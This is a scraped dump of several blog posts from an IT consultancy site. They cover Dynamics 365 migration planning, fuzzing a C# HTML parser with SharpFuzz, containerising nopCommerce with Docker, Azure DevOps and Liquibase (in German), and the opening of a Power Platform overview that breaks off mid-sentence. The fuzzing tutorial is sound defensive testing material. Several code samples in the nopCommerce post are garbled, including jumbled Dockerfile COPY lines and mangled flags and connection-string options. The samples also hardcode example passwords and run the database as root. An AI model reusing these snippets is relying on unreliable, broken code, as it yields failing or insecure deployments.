implemented? Can we abdomen some of them? The best case scenario: we find one solution with all customization. The worst case scenario: we find multiple or even worse, none solutions, which means all customizations sit directly on the unmanaged layer in production.\nIt’s important to focus on the “why”. We want to know what use cases drove the decision to buy third party solutions or build integrations to other systems. With the this way of questioning in mind, we can watch out for new features in the Power Apps Platform or Azure that can maybe replace the functionality out of the box.\nDo not expect too much from the interview of the IT admins. If they aren’t the one that developed the system, they won’t be able to deliver much information. Often systems are developed over years, from externals and that left the company long time ago. The result is the reason why we choose the “greenfield” approach, a messy state.\nFor step 2 the desired output is:\nTo know which solution is the main solution regarding customizations. A list of third-party installations that are actively used. A list of Integrations to other systems that must be present in the new system. Step 3 – Analyze the solutions \u0026amp; Plan work items Now we take the notes from the interviews as the starting point to our own walkthrough, where we extend the list of entities, forms, and fields to migrate. We add components that remains hidden to the normal user, like java scripts, plugins, and workflows by looking into the solution designer.\nNow we use the XrmToolBox to create an Excel workbook with all fields of the entities that we want to migrate. Therefore, we use the “Metadata Document Generator”.\nHint: use the options “Include Attribute location in Forms” (1) and “Export all attributes in one sheet” (2) in Meta Data Document Generator for an better overview.. With this you get all attributes in one excel sheet instead one sheet per entity and you can filter attributes that are visible to the users. That’s great starting point to add additional columns, especially one column to classify if a field will be migrated or not and one for comments.\nAdditionally we add a sheet to the excel workbook where we list all the work that must be done around the “nonvisible” components of the system like JavaScripts, plugins and co. As a product, we get the initial version of our migration plan with all tasks that lie in front of us. We also estimate the time we need to get a rough figure how long it will take. This is the last reasonable exit to switch to the brownfield or lift and shift approach if there is too much work in sight for the migration of the functionality and data.\nComplete the list of entities that must be migrated. Create an Excel sheet with Entities and Fields that must be migrated. Plan work items for the modernization work that must be done regarding to JavaScripts, plugins, and integrations. Step 4 – Rebuild the solution Now it’s time to get our hands dirty. We spin up a new developer environment in the Power Platform portal, create a new empty solution upon the dynamics products we need and start by adding the custom fields and entities that are marked for migration. After all fields and entities are created in the new solution, we can start work in parallel building the needed JavaScript, plugin’s, charts, … and integrations to surrounding systems. Bear in mind that some old customizations or integrations can maybe be replaced by new out of the box features. Also removing complexity and only reimplementing a simpler version in the new system can help to be faster and at the same time leads to a cleaner system.\nWe recommend to create three environments of a Dynamics 365 Instance:\nDEV (Sandbox) TEST (Sandbox) PROD (Production) The DEV-Environment will be used to implement the changes. The TEST-Environment will be used to test and get an acceptance from the Power User. The PROD-Environment will be used for the Production itself. To provide the best experience to propagate changes from one Environment ot another we use a Azure DevOps-Deployment-Pipeline. So also in future changes, the Dynamics 365 System will be able to quickly adapt to changes made and have a defined process how changes will be introduced in DEV and propagate till PROD.\nIn the next article, we will go into the options we see for data migration in context of the “greenfield” approach.\nLinks Part 3: Options for data migration Metadata Document Generator · XrmToolBox ","date":"12. Juni 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/migrate-dynamics365-crm-part2_hu34c431a202dc5cb5c5a1f38063a4b18c_49239_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/migrate-dynamics365-crm-part2_hu34c431a202dc5cb5c5a1f38063a4b18c_49239_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/how-we-migrate-dynamics-365-crm-applications-to-the-cloud-part-2/","tags":["dynamics-365","crm"],"title":"How we migrate Dynamics 365 CRM applications to the cloud (Part 2)"},{"categories":["How To"],"contents":"In the world of software engineering, bugs can lead to major problems both during development and after deployment. The worst of which can end in very costly security issues. With today\u0026rsquo;s complex software, automated testing becomes unavoidable. While some procedures such as unit tests and regression tests became widely established, they still require much input from developers in the creation of their test cases.\nTherefore in recent years, a testing technique called fuzzing began to gain popularity. Fuzzing involves feeding a program with invalid, unexpected, or random data to see how it responds. By doing this, fuzzing can help identify vulnerabilities and bugs in a program that may not be found through more traditional testing methods. At first glance, it sounds inefficient but modern fuzzing engines use code coverage feedback to guide new input mutations and therefore massively speed up the process.\nThis blog entry explains the basics of fuzzing and shows how easy it is to find real bugs in a popular C# library.\nBasics Coverage-guided fuzzing works by repeating several steps in a loop:\nTake inputs from a Corpus Mutate these inputs and feed them to the Fuzz Target The Fuzz Target calls the code that we want to test with the inputs Found crashes are saved and the coverage feedback is used to add new inputs to the Corpus Fuzzing C# Code Fuzzing is particularly common for programming languages that are not memory safe such as C and C++, with several established Fuzzing Engines such as Libfuzzer and AFL++ having wide community support and popularity.\nThey are therefore often used as a core engine to provide fuzzing support for other programming languages, one such project is SharpFuzz which enables state-of-the-art fuzzing for C# language code.\nLet\u0026rsquo;s quickly go through the full process, from setup to finding a bug on a real-world C# example.\nSetup For this example, we will use Libfuzzer on Windows. For Linux and AFL support refer to the SharpFuzz Github .\nThere are only four things we need: the libfuzzer-dotnet-windows.exe , the helpful start script , the SharpFuzz Commandline tool and a Visual Studio project with our fuzzing target.\nDownload the first two and make sure your Visual Studio installation includes Clang \u0026gt;= 14.0.0 and .NET SDK \u0026gt;= 6.0. Also install the SharpFuzz Commandline tool:\ndotnet tool install --global SharpFuzz.CommandLine If you later get errors with SharpFuzz not being recognized as a command, check if \u0026lsquo;%USERPROFILE%\\.dotnet\\tools\u0026rsquo; is on the Path environment variable.\nIt\u0026rsquo;s a good idea to create a simple Visual Studio C# console app. Examples can be found here . Just remember to add the SharpFuzz NuGet Package to the project.\nWriting a Fuzz Target The fuzzing target is probably the most important part of the whole fuzzing process. While it has to be fast and efficient because the bug-finding speed depends on the executions per second, it allows room for creativity. Easy targets are parsers and functions that process complicated structures.\nWe will keep it simple here and try to fuzz the AngleSharp HTML parser. For this, we just have to write a small fuzzing target:\nusing SharpFuzz; using System.Text; namespace FuzzTest { public class Program { public static void Main(string[] args) { Fuzzer.LibFuzzer.Run(data =\u0026gt; { try { var html = Encoding.UTF8.GetString(data); var parser = new AngleSharp.Html.Parser.HtmlParser(); parser.ParseDocument(html.ToCharArray(), 0); } catch { } }); } } } The Fuzzer.LibFuzzer.Run function is the entry point of the fuzzer which feeds the input data to our code. Keep in mind that if the function you are trying to fuzz is allowed to throw exceptions, you have to catch them to prevent false positives!\nFuzzing To improve the speed at which the fuzzing engine finds interesting code paths it is recommended to use a dictionary. We will use an HTML dictionary . Now that we have everything ready, let\u0026rsquo;s start the fuzzing.\nWe call the start script fuzz-libfuzzer.ps1 downloaded before from the Windows Powershell.\nSet the locations correctly and use an empty folder for the corpus. It is needed to save inputs that have new code coverage. This therefore saves the fuzzing progress and allows stopping and continuing at a later time.\n.\\fuzz-libfuzzer.ps1 -libFuzzer \u0026#34;.\\libfuzzer-dotnet-windows.exe\u0026#34; -project \u0026#34;.\\FuzzingTargets\\FuzzingTargets\\AngleSharpFuzzer.csproj\u0026#34; -corpus \u0026#34;.\\FuzzingTargets\\AngleSharpCorpus\u0026#34; -dict \u0026#34;.\\dicts\\html.dict\u0026#34; If everything works correctly the fuzzing starts and runs until a crash is reported. The crashing input is saved to a file and you can use it to reproduce the crash. We found an IndexOutOfRangeException, InvalidOperationException, and a wrong tree construction that leads to a timeout. Overall it took several hours of fuzzing AngleSharps version 1.1.0. If you want to reproduce our findings downgrade the AngleSharp NuGet package version.\nWe reported the found issues on GitHub and they are fixed in newer versions. Please be careful while reporting found security issues and follow the recommended steps of the respective project.\nSome useful Tipps and Tricks Useful Libfuzzer Flags While the fuzz-libfuzzer.ps1 script is useful to quickly start fuzzing it does not expose all Libfuzzer functionality, some of which can be important. You can find an overview here . Either extend the helper script or call Libfuzzer directly.\nTo parallelize the fuzzing process and use all your cores -fork=(Number of parallel jobs) can be used. It is especially useful in combination with -ignore_crashes for continuous fuzzing without stopping after something is found.\nExtended script:\nparam ( [Parameter(Mandatory = $true)] [string]$libFuzzer, [Parameter(Mandatory = $true)] [string]$project, [Parameter(Mandatory = $true)] [string]$corpus, [string]$dict = $null, [int]$timeout = 10, [int]$fork = 0, [int]$ignore_crashes = 0, [string]$command = \u0026#34;sharpfuzz\u0026#34; ) ... if ($dict) { \u0026amp; $libFuzzer -timeout=\u0026#34;$timeout\u0026#34; -ignore_crashes=\u0026#34;$ignore_crashes\u0026#34; -fork=\u0026#34;$fork\u0026#34; -dict=\u0026#34;$dict\u0026#34; --target_path=dotnet --target_arg=$project $corpus } else { \u0026amp; $libFuzzer -timeout=\u0026#34;$timeout\u0026#34; -ignore_crashes=\u0026#34;$ignore_crashes\u0026#34; -fork=\u0026#34;$fork\u0026#34; --target_path=dotnet --target_arg=$project $corpus } An identified crashing input can also be long enough to complicate the debugging. This is where -minimize_crash is useful to iteratively reduce the input size while still keeping it crashing.\nDirect Libfuzzer call:\n./libfuzzer-dotnet-windows.exe --target_path=bin/AngleSharpFuzzer.exe ./crash-8c5a9286d99cc583bb86a75549446d9ab34422a6 -timeout=10 -minimize_crash=1 Fuzzing Blockers Some code can be hard to fuzz because the code exploration has a difficult time progressing. Typical problems are checksums or exception-catching. If it\u0026rsquo;s your own or open-source code it is a good idea to remove them from the code during fuzzing.\nBetter Fuzzing Targets While we used a really simple fuzzing target for AngleSharp the possibilities are endless.\nYou can build objects and set parameters by using the input bytes.\nYou can assert that different libraries or functions return the same results to look for inconsistencies (Differential Fuzzing ).\nYou can test sanitizers by feeding them input and asserting security vulnerabilities afterward.\nThere are also many other fuzzing engines available for other use cases such as network and GUI testing.\nConclusion Overall fuzzing is a great technique to automate bug finding in your code and improve your code quality. We gave a short introduction to the process by showing how easy setting up SharpFuzz to find real-world C# bugs is. Keep in mind that this was only a glimpse of what is possible with fuzzing and always be responsible with reporting security vulnerabilities.\n","date":"23. Mai 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/Automate-Bug-Finding-Fuzzing-C-Sharp-Code-on-Windows_hu01997e9e3dd90c73b57425d1120cd898_541881_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/Automate-Bug-Finding-Fuzzing-C-Sharp-Code-on-Windows_hu01997e9e3dd90c73b57425d1120cd898_541881_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/Automate-Bug-Finding-Fuzzing-C-Sharp-Code-on-Windows/","tags":["automation","security"],"title":"Automate Bug Finding: Fuzzing C# Code on Windows"},{"categories":["Insights"],"contents":"Die Anforderungen an Softwareentwicklungsprojekte werden immer komplexer und damit steigt auch der Bedarf einer konsistenten reproduzierbaren Entwicklungsumgebung. Das Aufsetzen dieser Umgebungen kann oft zur zeitraubenden Mammutaufgabe werden. Insbesondere bei älteren Workflows, die auf den Einsatz virtueller Maschinen setzen, ist das der Fall. Jeder Entwickler benötigt dabei eine Vielzahl von Tools, Libraries und Diensten, die konfiguriert werden müssen, um eine bestehende Code-Basis zum Laufen zu bringen.\nDiese Problematik wird noch stärker ersichtlich, wenn verschiedene Betriebssysteme ins Spiel kommen. An der Stelle kommt Containerisierung ins Spiel, um den Konfigurationsaufwand solcher Prozesse auf ein Minimum zu beschränken.\nWas versteht man unter Containerisierung? Mit Tools wie Docker können Entwickler die gesamte Anwendungsarchitektur, inklusive aller Abhängigkeiten, in einem Container verpacken und diesen anschließend ausführen. Dadurch kann gewährleistet werden, dass die Software in jeder Umgebung auf die gleiche Weise ausgeführt wird. Das klassische „es funktioniert doch bei mir“- Problem kann dementsprechend vollständig vermieden werden. Diese Container werden dabei über sogenannte Dockerfiles konfiguriert. Sie enthalten eine Reihe von Anweisungen, die den Aufbau des Containers schrittweise beschreiben. Auf Basis dieser Dateien erstellt Docker daraufhin Docker Images, welche für die eigentliche Ausführung der Container in beliebigen Zielumgebungen verwendet werden.\nJetzt stellt sich die Frage, wie man diesen Containerisierungsansatz praktisch für Anwendungen umsetzen kann. Zur Veranschaulichung wird im Folgenden die Containerisierung einer existierenden nopCommerce -Anwendung durchgeführt.\nContainerisierung einer nopCommerce-Anwendung Glücklicherweise bietet Visual Studio in Kombination mit Docker Desktop ein ausgezeichnetes Toolset, welches den Prozess der Containerisierung durch die automatisierte Erstellung von Dockerfiles und sogar Docker Compose Files zur Orchestrierung mehrerer Container enorm vereinfacht.\nDefinition des Dockerfiles Für die Verwendung einer Standard-nopCommerce-Anwendung ist die daraus resultierende Schablone bereits ausreichend, um wenigstens die Anwendung ausführen zu können. Für die Ausführung einer existierenden nopCommerce-Anwendung hingegen müssen zusätzliche Anpassungen am Dockerfile vorgenommen werden.\n4 Komponenten sind diesbezüglich von Bedeutung:\ndatasettings.json – enthält den Connection String für die verwendete Datenbank. appsettings.json – enthält Einstellungen für den integrierten Kestrel-Webserver. plugins.json – hält den aktuellen Zustand aller installierter oder zu installierender Plugins fest. Theme Folder - Ordner des verwendeten Custom Themes (falls vorhanden) Das vollständige Dockerfile könnte dann wie folgt aussehen:\nFROM mcr.microsoft.com/dotnet/core/aspnet:2.2 AS base WORKDIR /app EXPOSE 80 EXPOSE 443 FROM mcr.microsoft.com/dotnet/core/sdk: 2.2 AS build WORKDIR /src COPY [\u0026#34;Libraries/Nop.Core/Nop.Core.csproj\u0026#34;, \u0026#34;Libraries/Nop.Core/\u0026#34;] COPY [\u0026#34;Libraries/Nop.Data/Nop.Data.csproj\u0026#34;, \u0026#34;Libraries/Nop.Data/\u0026#34;] COPY [\u0026#34;Libraries/Nop.Services/Nop.Services.csproj\u0026#34;, \u0026#34;Libraries/Nop.Services/\u0026#34;] COPY [\u0026#34;Presentation/Nop.Web.Framework/Nop.Web.Framework.csproj\u0026#34;, \u0026#34;Presentation/Nop.Web.Framework/\u0026#34;] COPY [\u0026#34;Presentation/Nop.Web/Nop.Web.csproj\u0026#34;, \u0026#34;Presentation/Nop.Web/\u0026#34;] RUN dotnet restore \u0026#34;Presentation/Nop.Web/Nop.Web.csproj\u0026#34; COPY.. WORKDIR */src/Presentation/Nop.Web\u0026#34; RUN dotnet build \u0026#34;Nop.Web.csproj\u0026#34; -c Release -o /app/build FROM build AS publish RUN dotnet publish \u0026#34;Nop.Web.csproj\u0026#34; -c Release -o /app/publish/p:UseAppHost-false COPY [./nop_config/dataSettings.json\u0026#34;, COPY [./nop_config/appsettings.json\u0026#34;, COPY [./nop_config/plugins.json\u0026#34;, \u0026#34;/app/publish/App_Data/\u0026#34;] COPY [./Presentation/Nop. Web/Plugins/meineAnwendung/Theme\u0026#34;, \u0026#34;/app/publish/Themes/meineAnwendung\u0026#34;] \u0026#34;/app/publish/App_Data/\u0026#34;] \u0026#34;/app/publish/App_Data/\u0026#34;] FROM base AS final WORKDIR /app COPY --from-publish /app/publish ENTRYPOINT [\u0026#34;dotnet\u0026#34;, \u0026#34;Nop.Web.dll\u0026#34;] Idealerweise sollte der Plugin-Code ebenfalls im Rahmen dieses Dockerfiles für den Build-Prozess konfiguriert werden, da ansonsten die durch Visual Studio kompilierten Plugin-Daten mitversioniert werden müssen.\nEinrichtung lokaler Datenbank-Container Nach der Definition des Dockerfiles für die nopCommerce-Anwendung erfolgt die Einrichtung eines lokalen Datenbank-Containers, mit dem die Anwendung auch kommunizieren kann. Zu diesem Zweck wird Docker Compose verwendet, mit dessen Hilfe wir das offizielle Image für Microsoft SQL Server herunterladen und für die Ausführung als Container definieren.\nDas Compose-File sähe dann folgendermaßen aus:\nversion: \u0026#34;3.8\u0026#34; services: nop.web: image: ${DOCKER_REGISTRY-}nopweb build: context: . dockerfile: Presentation/Nop.Web/Dockerfile depends_on: - nop.db ports: - \u0026#34;80:80\u0026#34; - \u0026#34;44360:443\u0026#34; environment: - ASPNETCORE_ENVIRONMENT=Development - ASPNETCORE_Kestrel__Certificates__Default__Password=test123 - ASPNETCORE_Kestrel__Certificates__Default__Path=/https/nop-https.pfx - ASPNETCORE_URLS=https://+:443;http://+:80 volumes: - ./Plugins/Nop.Plugin.MeineAnwendung/Theme:/app/Themes/MeineAnwendungstheme networks: - nop_network nop.db: image: \u0026#34;mcr.microsoft.com/mssql/server:2022-latest\u0026#34; container_name: nop_db user: root environment: - SA_PASSWORD=meinPasswort - ACCEPT_EULA=Y - MSSQL_PID=Express ports: - \u0026#34;1433:1433\u0026#34; restart: always volumes: - sql-data:/var/opt/mssql networks: - nop_network volumes: sql-data: networks: nop_network: Das vorliegende Docker Compose File betreibt die nopCommerce-Anwendung auf dem Port 44360 und verwendet ein selbstsigniertes SSL-Zertifikat für dessen Betrieb. Um den Entwicklungsprozess zu beschleunigen, kann zusätzlich ein Mount-Bind definiert werden. Dadurch ist es uns möglich, Dateien während der lokalen Entwicklung vom Host-Rechner direkt in den Container einzubinden. Auf diese Weise können beispielsweise lokale Anpassungen am Frontend-Code unmittelbar vom Docker-Container reflektiert werden, sodass der Effekt einer emulierten Hot-Reload-Funktion entsteht. Insbesondere für ältere Versionen von .NET ist dieser Ansatz sehr hilfreich.\nÜber das Docker Compose File konnten wir nun festlegen, dass die beiden Komponenten die Möglichkeit haben, miteinander zu kommunizieren. Um diese Kommunikation jedoch in die Wege zu leiten, erfordert nopCommerce zusätzlich eine dataSettings.json-Datei, die während des Anwendungsstarts geladen wird. Sie ist dafür zuständig, den Connection String für die Datenbank festzuhalten und an die Anwendung zu übermitteln. Innerhalb des Docker-Containers befindet sich diese im „App_Data“-Ordner.\nDie Datei könnte wie folgt aussehen:\n\u0026#34;DataProvider\u0026#34;: \u0026#34;sqlserver\u0026#34;, \u0026#34;DataConnectionString\u0026#34;: \u0026#34;Data Source=nop.db,1433; Initial Catalog=meineDB; Integrated Security=False; Persist Security Info-False; User ID-sa;Password=meinPasswort;\u0026#34;, \u0026#34;RawDataSettings\u0026#34;: {} Als Datenquelle wird hierbei der Name des definierten Microsoft-SQL-Server-Containers aus dem Docker Compose File verwendet. Mit der Konfiguration dieser Datei und Einbindung in den Container wird die Ausführung einer bestehenden nopCommerce-Anwendung möglich. Dazu navigiert man in den Ordner des Docker Compose Files, öffnet die Befehlszeile und gibt den Befehl „docker compose up \u0026ndash;build“ ein, woraufhin die entsprechenden Container neu gebaut und anschließend ausgeführt werden. Die Einrichtung einer lokalen Entwicklungsumgebung ist damit abgeschlossen, aber lässt sich dieses Container-basierte Setup auch in ein Azure-basiertes Deployment überführen?\nErforderliche Dienste für ein Container-basiertes Setup in Azure Für den Betrieb einer nopCommerce-Anwendung als Container in Azure werden mindestens folgende Dienste benötigt:\nAzure Container Registry Azure SQL Datenbank Azure App Service oder alternativ eine Azure Container Instance Nach der Einrichtung dieser Dienste wird es möglich, die Anwendung über eine Pipeline zu deployen.\nDeployment über Azure Für den Bau und das Deployment erstellter Docker Images verwenden wir 3 Pipeline-Schritte:\nEinloggen in ein bestehendes Azure Container Registry, welches in der Lage ist, das erstellte Container Images zu speichern. Bauen der im Docker Compose File definierten nopCommerce-Anwendung. Pushen des generierten Images in das festgelegte Azure Container Registry. Das Ganze sieht dann folgendermaßen aus:\ntrigger: - master pool: vmImage: \u0026#34;ubuntu-latest\u0026#34; steps: - script: echo $(ACR_PASSWORD) | docker login $(containerRegistry) -u $(ACR_USERNAME) --password-stdin displayName: \u0026#34;Docker Login\u0026#34; env: ACR_USERNAME: $(ACR_USERNAME) ACR_PASSWORD: $(ACR_PASSWORD) - task: DockerCompose@0 displayName: \u0026#34;Build services\u0026#34; inputs: containerRegistryType: \u0026#34;Azure Container Registry\u0026#34; dockerRegistryServiceConnection: $(containerRegistry) dockerComposeFile: \u0026#34;**/docker-compose.integration-deployment.yml\u0026#34; action: \u0026#34;Build services\u0026#34; - task: DockerCompose@0 displayName: \u0026#34;Push Images\u0026#34; inputs: containerRegistryType: \u0026#34;Azure Container Registry\u0026#34; dockerRegistryServiceConnection: $(containerRegistry) dockerComposeFile: \u0026#34;**/docker-compose.integration-deployment.yml\u0026#34; action: \u0026#34;Push services\u0026#34; Der Azure App Service kann anschließend für die Anwendungsausführung in Azure auf Basis des generierten Images konfiguriert werden.\nNachdem das Hosting und die Ausführung der Anwendung nun geklärt sind, ergibt sich jedoch eine weitere Herausforderung: Als Content-Management-System steht nopCommerce im intensiven Austausch mit der angekoppelten Datenbank. Bei der Entwicklung neuer Features für die Plattform kommt es dabei regelmäßig zu Konflikten bei der Zusammenführung von Datenbankanpassungen zwischen Entwicklern. Ein möglicher Ansatz, um diese Konflikte zu vermeiden, ist die Versionierung dieser Anpassungen. Mögliche Tools diesbezüglich wären beispielsweise Flyway, EF Migrations, und Liquibase. Im Folgenden wird Liquibase näher durchleuchtet.\nWas ist Liquibase? Liquibase ist ein in Java geschriebenes Tool zur Datenbankversionierung, welches den kollaborativen Prozess durch klare Versionierung von Datenbankänderungen optimiert. Nicht nur lassen sich so Änderungen rückwirkend besser nachvollziehen, sondern bei Bedarf sogar automatisiert zurücksetzen. Das ist gerade in CI-/CD-Workflows ein echtes Must-Have. Alle diese Änderungen werden dabei übersichtlich in Changelogs und Changesets festgehalten.\nChangelogs und Changesets in Liquibase Changelogs werden in einem der von Liquibase unterstützten Dateiformate verfasst (XML, YAML, JSON und SQL). Falls man sich für die Verwendung von SQL entscheidet, werden hierfür leider keine automatisierten Rollbacks angeboten. Jeder Changelog besteht dabei aus einer beliebigen Anzahl aus Changesets. Diese entsprechen den einzelnen vorgenommenen Anpassungen an der Datenbank, also beispielsweise der Erstellung einer neuen Tabelle wie in folgender Abbildung zu sehen:\ndatabaseChangeLog: - preconditions: - dbms: type: mssql - username: sa - runningAs: - changeSet: id: 1 author: Christian Michna changes: - createTable: tableName: testTable columns: - column: name: id type: int constraints: primaryKey: true - column: name: name type: varchar(255) rollback: - dropTable: tableName: testTable Preconditions und Rollbacks in Liquibase Wie man in der Abbildung oben erkennen kann, werden vor der Festlegung des ersten Changesets zwei Preconditions definiert. Preconditions dienen dazu, sicherzustellen, dass die Datenbankanpassungen nur unter spezifischen Voraussetzungen durchgeführt werden. In dem Beispiel oben wird die Anpassung ausschließlich ausgeführt, wenn es sich um eine Microsoft-SQL-Server-Datenbank handelt und wenn der Liquibase-Nutzer zusätzlich als Systemadministrator eingeloggt ist. In Kombination mit Changesets bieten Preconditions damit eine Ebene der Granularität und Sicherheit im Datenbankänderungsprozess, die besonders in komplexen oder kritischen Umgebungen von großem Vorteil sein kann.\nFalls darüber hinaus die Notwendigkeit besteht, die angewendeten Änderungen rückgängig zu machen, bietet Liquibase die Möglichkeit eines automatisierten Rollbacks. Hierfür gibt es zwei Möglichkeiten: Mit der Funktion \u0026ldquo;rollback-to-date\u0026rdquo; kann die Datenbank auf den Zustand eines festgelegten Zeitpunkts zurückgesetzt werden. Wenn stattdessen nur eine bestimmte Anzahl zuletzt durchgeführter Changesets rückgängig gemacht werden sollen, kann die Funktion \u0026ldquo;rollback-count X\u0026rdquo; genutzt werden, wobei X der Anzahl rückgängig zu machender Changesets entspricht.\nMaster-Changelog in Liquibase Der Master-Changelog dient als zentrale Konfigurationsdatei, die alle anderen Changelogs und Changesets referenziert. Statt eine lange Liste von Änderungen in einer einzigen Datei zu verwalten, ermöglicht das eine modulare und organisierte Herangehensweise. Dies kann wie folgt aussehen:\ndatabaseChangeLog: - include: file: changelog_1.yaml Alternativ kann die Angabe eines Ordners erfolgen, woraufhin alle darin enthaltenen Changelogs in alphabetischer Reihenfolge angewendet werden.\ndatabaseChangeLog: - includeAll: path: com/example/changelogs/ Den Status aller durchgeführten Changesets trackt Liquibase über eine bei der ersten Ausführung angelegten Tabelle. Vor der Ausführung eines Changesets prüft Liquibase diese Tabelle, um festzustellen, ob das Changeset bereits angewendet wurde. Auf diese Weise kann das Risiko von Datenbankkonflikten verringert werden.\nLiquibase-Konfigurationsdatei Für die Festlegung aller für Liquibase relevanten Parameter gilt es als Best Practice, eine liquibase.properties-Datei anzulegen. Diese Datei dient als zentrale Anlaufstelle für alle Liquibase-Konfigurationen. Unter anderem wird hier der Connection String für die Datenbank, der Datenbank-User mit Passwort sowie der Pfad zum Master-Changelog festgelegt. Das macht nicht nur die Arbeit einfacher, sondern sorgt auch dafür, dass alle im Team mit den gleichen Einstellungen arbeiten. Bei Ausführung von Liquibase-Operationen wird diese Datei automatisch verwendet, um die jeweiligen Parameter auszulesen.\nclasspath: /liquibase/changelog url: jdbc:sqlserver://nop.db:1433; databasename=meineDB; encrypt=false changeLogFile: master-changelog.yaml username: sa password: meinDBPasswort Ausführung als Container in der Pipeline Eines der Highlights von Liquibase ist die Option, das Tool als Container ausführen zu können. Dadurch lässt es sich besonders einfach in bestehende CI-/CD-Prozesse integrieren. Die Erweiterung einer Pipeline für die Anwendung von Liquibase-Updates könnte dabei wie folgt aussehen:\n- script: | docker run --rm \\ -v \u0026#34;$(Build.SourcesDirectory)/Liquibase/changelogs:/liquibase/changelog\u0026#34; \\ liquibase/liquibase\\ --url=\u0026#34;$(dbUrl)\u0026#34; \\ --username=$(dbUsername) A --password=$(dbPassword) --changeLogFile=$(changeLogFile) \\ update displayName: \u0026#39;Liquibase Docker Container Update\u0026#39; Daraufhin führt der Pipeline-Agent den Container aus und aktualisiert die angegebene Datenbank auf Grundlage des definierten Changelogs.\nFazit Für Teams, die sich mit der komplexen Herausforderung der Datenbankversionierung auseinandersetzen müssen, erweist sich Liquibase als wahrer Game-Changer. Es stellt nicht nur die Ordnung im Versionschaos wieder her, sondern passt sich auch nahtlos in vorhandene Entwicklungsprozesse ein. Die Kombination aus Containerisierung und Datenbankversionierung schafft damit ein leistungsstarkes Ökosystem, das nicht nur die Entwicklungszeit verkürzt, sondern auch die Qualität der Releases steigert.\nHaben Sie Fragen zu diesem Beitrag? Wir freuen uns auf Ihre Kontaktaufnahme! ","date":"15. Mai 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/_hu1c15de79ad216423f17c3e3399d2ce19_1236150_5fab30051a7f1b63259fbe885a3e34e0.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/_hu1c15de79ad216423f17c3e3399d2ce19_1236150_49046a93d059c80ac47ecb87a4cc547a.jpg'\"\u003e\n \n \n \n\n","permalink":"/containerisierung-einer-nopcommerce-anwendung-mit-liquibase-als-datenbank-versionierungstool/","tags":["azure","tooling"],"title":"Containerisierung einer nopCommerce-Anwendung mit Liquibase als Datenbank-Versionierungstool"},{"categories":["How To"],"contents":"Die Power Platform ist eine Low-Code-Entwicklungsumgebung, welche sich aus verschiedenen Softwarekomponenten, u.a. Power Apps, Power Automate und Power BI, zusammensetzt. Innerhalb der Plattform lassen sich mittels Power Apps Geschäftsanwendungen implementieren und Geschäftsprozesse automatisieren. Dabei ist Dataverse die zugrundeliegende Datenbank-Technologie, welche Daten cloudbasiert speichert und den Tools und Anwendungen innerhalb der Power Platform zur Verfügung stellt.\nDieser Artikel gibt Entwicklern einen Überblick über die zur Verfügung stehenden Komponenten bei der Entwicklung von Model-driven Power Apps.\nSolution Komponenten werden in eine Solution gepackt und können so in verschiedenen Entwicklungs-, Test- und Produktivumgebungen bereitgestellt werden. Als Grundstruktur dienen Datenbank-Tabellen, die sich wiederum aus Spalten zusammensetzen. Je Tabelle können verschiedene Ansichten, welche die Daten der Spalten anzeigen, gebaut werden. Außerdem gibt es für jede Tabelle mind. 1 Formular, damit der Endnutzer neue Datensätze einpflegen und bestehende editieren kann. Unter anderem können Umgebungsvariablen, Vorlagen oder Sicherheitsrollen Komponenten einer Solution sein.\nWie findet man die richtige Low-Code-Plattform? Jetzt mehr Infos zur Power Plattform und zum Auswahlprozess in unserer Checkliste nachlesen. Entwicklungsmöglichkeiten von Model-driven Power Apps Microsoft bietet eine breite Auswahl an Entwicklungsmöglichkeiten (Customizing und Coding). Der Entwickler kann zwischen Geschäftsregeln, JavaScript, Power Fx, C#-Plugins und Power-Automate-Flows wählen. Die Entscheidung, welche Möglichkeit sich am besten eignet, ist nicht immer ganz einfach und hängt stark vom Anwendungsfall ab. Im Folgenden werden die genannten Varianten näher betrachtet.\nGeschäftsregeln Geschäftsregeln eignen sich besonders gut für einfache Logiken und können via Drag-and Drop-Mechanismus direkt in der Power-Apps-Oberfläche festgelegt werden. Beispiele hierfür sind Felder, die basierend auf einer Bedingung ge-/entsperrt oder zum Pflichtfeld werden sollen. Darüber hinaus lassen sich Feldwerte setzen, Sichtbarkeiten anpassen oder Fehlermeldungen anzeigen. Nachteile bei Geschäftsregeln sind die Unübersichtlichkeit und dass diese sich auf die Felder der aktuellen Entität beschränken. Folgende Geschäftsregel zeigt das Feld \u0026ldquo;Immatrikulationsnummer\u0026rdquo; als Pflichtfeld an, wenn es sich bei dem Kontakt um einen Studenten handelt.\nJavaScript JavaScript kommt zum Einsatz, wenn auf Endnutzer-Aktionen auf der Benutzeroberfläche reagiert werden soll. Hierbei sollten keine kritischen Aktionen durchgeführt werden. JavaScript wird bei synchronen und asynchronen Operationen eingesetzt. Das Script wird als Webressource registriert und die Bibliothek innerhalb eines Formulars oder der Command Bar eingefügt. Als Reaktion auf Onload, OnSave oder OnChange Events lassen sich Funktionen ausführen. Innerhalb des Scripts ist es möglich, auf den Kontext zuzugreifen. Somit lassen sich Daten der aktuellen oder anderer Entitäten über die Web-API abfragen, hinzufügen, verändern oder löschen. Außerdem können Ansichten manipuliert 